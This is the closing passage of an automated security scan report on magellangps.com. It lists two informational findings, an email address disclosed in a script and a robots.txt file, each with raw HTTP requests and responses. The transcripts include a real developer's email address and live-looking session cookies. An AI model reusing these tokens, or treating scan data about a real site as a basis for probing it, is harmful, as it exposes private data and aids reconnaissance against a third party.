/*****************
...[SNIP]...

5.3. http://www.magellangps.com/site/js/general-scripts.js previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.magellangps.com
Path:	/site/js/general-scripts.js

Issue detail

The following email address was disclosed in the response:

brian@cherne.net

Request

GET /site/js/general-scripts.js HTTP/1.1
Host: www.magellangps.com
Proxy-Connection: keep-alive
Referer: http://www.magellangps.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=Q0VpN37HL9PBT1v5Z2ZGLH52C2T8QHJMwxQGWKxnCLrGQHjY4DnJV1TLb71TqCryvY2ngbbhwBYJvxwS95gZmdmPBTtNhlByXP6J17XqTFLLtpLShpCxYJkqfmQ1yGBW!-1425410427; NLVisitorId=rcHW8655Ac-HwJur; NLShopperId=rcHW8655AeSHwA-v; NS_VER=2011.1.0; __utmz=1.1303853977.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1403725269.1303853977.1303853977.1303853977.1; __utmc=1; __utmb=1.1.10.1303853977

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 21:39:27 GMT
Server: Apache
Cache-Control: max-age=604800
Content-Disposition: inline;filename="general-scripts.js"
NS_RTIMER_COMPOSITE: 348391173:73686F702D6A6176613030372E7376616C652E6E65746C65646765722E636F6D:80
NLCacheNote: FromMediaCache=T
X-Powered-By: Servlet/2.5 JSP/2.1
P3P: CP="CAO PSAa OUR BUS PUR"
Vary: User-Agent
Content-Type: application/x-javascript; charset=UTF-8
Content-Length: 7430

/*
* hoverIntent r5 // 2007.03.27 // jQuery 1.1.2+
* <http://cherne.net/brian/resources/jquery.hoverIntent.html>
*
* @param f onMouseOver function || An object with configuration options
* @pa
...[SNIP]...
<brian@cherne.net>
...[SNIP]...

6. Robots.txt file previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.magellangps.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.magellangps.com

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 21:39:24 GMT
Server: Apache
Content-Length: 103
Last-Modified: Sat, 23 Apr 2011 00:28:30 GMT
NS_RTIMER_COMPOSITE: 1571838000:73686F702D6A6176613030372E7376616C652E6E65746C65646765722E636F6D:80
X-Powered-By: Servlet/2.5 JSP/2.1
Set-Cookie: NS_VER=2011.1.0; domain=www.magellangps.com; path=/
P3P: CP="CAO PSAa OUR BUS PUR"
Vary: User-Agent
Keep-Alive: timeout=10, max=833
Connection: Keep-Alive
Content-Type: text/plain

# Allow all robots to spider everything by disallowing nothing

User-agent: *
Crawl-Delay: 20
Disallow:

Report generated by XSS.CX at Tue Apr 26 18:27:55 CDT 2011.